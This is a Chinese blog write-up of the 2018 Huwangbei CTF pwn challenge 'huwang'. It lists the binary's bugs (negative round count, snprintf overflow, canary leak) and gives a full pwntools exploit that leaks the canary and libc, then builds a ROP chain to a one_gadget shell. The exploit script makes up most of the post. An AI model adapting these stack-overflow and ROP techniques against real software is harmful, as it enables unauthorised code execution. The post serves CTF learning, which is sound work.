美文网首页
护网杯_2018_huwang

护网杯_2018_huwang

作者: pu1p | 来源:发表于2018-10-14 23:45 被阅读171次

    看到这个题目就觉得有点眼熟, 后来发现就是国赛awd题目改了改. (可能就是北航把自己国赛出的题目改了一下吧....) 但是国赛的时候我也没做出来.... 然后这次仍然没做出来..... 看了天枢的wp(天枢的大佬们太强了orz) 发现原来漏洞这么明显..... 看完wp发现six也可以算原题, 主办方也太懒了吧....

    经过上次的Teaser Dragon CTF和这次的护网杯, 我深刻意识到我软件构造学的是多么的菜TAT, 上次的production里面的assert就是软件构造中的重要内容, faststorge里面的abs()溢出如果test case那部分学的扎实的话也应该想到的(极值嘛), 这次huwang这题就更过分了, 只要输入个负数就能解决的问题, 愣是没想到..... six那题其实多调试几次应该就能做出来了(肖神说的是: pwn题还是要多动态调, 静态看会漏掉很多点). 以后一定要多调试, 更要细心些, 把整个输入空间都要想一想. 学以致用才行.

    闲话少说, 开始复现.

    只有command = 666 时进入的函数有用
    漏洞就3个点

    1. 加密次数可以输-1, 然后程序会进入一个很长的循环, 我们就可以关闭连接, 然后/tmp/secret里面的内容就是空了
    2. snprintf函数返回值会大于0xff, 之后read会存在溢出.
    3. 输入用户名为25个字节的时候可以leak canary和栈地址

    过程:

    1. 第一次连接使/tmp/secret为空
    2. 第二次连接:
      1. 输入用户名的长度为25(canary最低字节为'\x00'),
      2. 猜md5的时候输入'\x00'*16的md5值
      3. leak canary 和 栈地址
      4. 输入足够长的字符串, 使得snprintf返回值足够大
      5. 构造payload, 先找一个gadget(pop rdi; ret), 得到libc地址
      6. 再次溢出跳转到one_gadget

    exp 如下:

    from pwn import *
    import md5
    
    io = process('./huwang')
    # libc = ELF('./')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    
    
    ru = lambda x : io.recvuntil(x)
    sn = lambda x : io.send(x)
    rl = lambda   : io.recvline()
    sl = lambda x : io.sendline(x)
    rv = lambda x : io.recv(x)
    sa = lambda a,b : io.sendafter(a,b)
    sla = lambda a,b : io.sendlineafter(a,b)
    
    # def secret(name = 'aaa'):
    
    m = md5.new()
    m.update('\x00'*16)
    md5_zero = m.digest()
    
    sla('>>', '666')
    ru('name')
    sn('a'*25)
    # sla('name', 'a'*25)
    sla('secret', 'y')
    sla('rounds', '1')
    ru('guess the md5')
    sn(md5_zero)
    ru('a'*25)
    res = rl()
    canary = u64('\x00' + res[:7])
    log.info('canary: ' + hex(canary))
    stack_addr = u64(res[7: 7+6] + '\x00\x00')
    log.info('stack_addr: ' + hex(stack_addr))
    
    old_rbp = stack_addr + (0x3b0 - 0x450)
    piece = {
        0x108 : p64(canary),
        0x110 : p64(old_rbp)
    }
    
    bss_start = 0x603038
    pop_rdi_ret = 0x401573
    
    payload = fit(piece, filler = '\x00') + p64(pop_rdi_ret) + p64(stack_addr + 8) + p64(0x4010d4)
    
    ru('What`s your occupation?')
    sn('a' * 0xff)
    ru('[Y/N]')
    sn('Y')
    sleep(0.1)
    sn('Y')
    sleep(0.1)
    sn(payload)
    ru("final pres")
    rl()
    libc = u64(rl()[:6] + '\x00\x00')
    libc_base = libc - 0x20830
    log.info('libc: ' + hex(libc))
    
    
    one = 0x4526a
    payload2 = fit(piece, filler = '\x00') + p64(libc_base + one)
    
    sleep(0.3)
    sn('Y')
    sleep(0.3)
    sn('Y')
    sleep(0.3)
    sn(payload2)
    io.interactive()
    

    相关文章

      网友评论

          本文标题:护网杯_2018_huwang

          本文链接:https://www.haomeiwen.com/subject/sklxzftx.html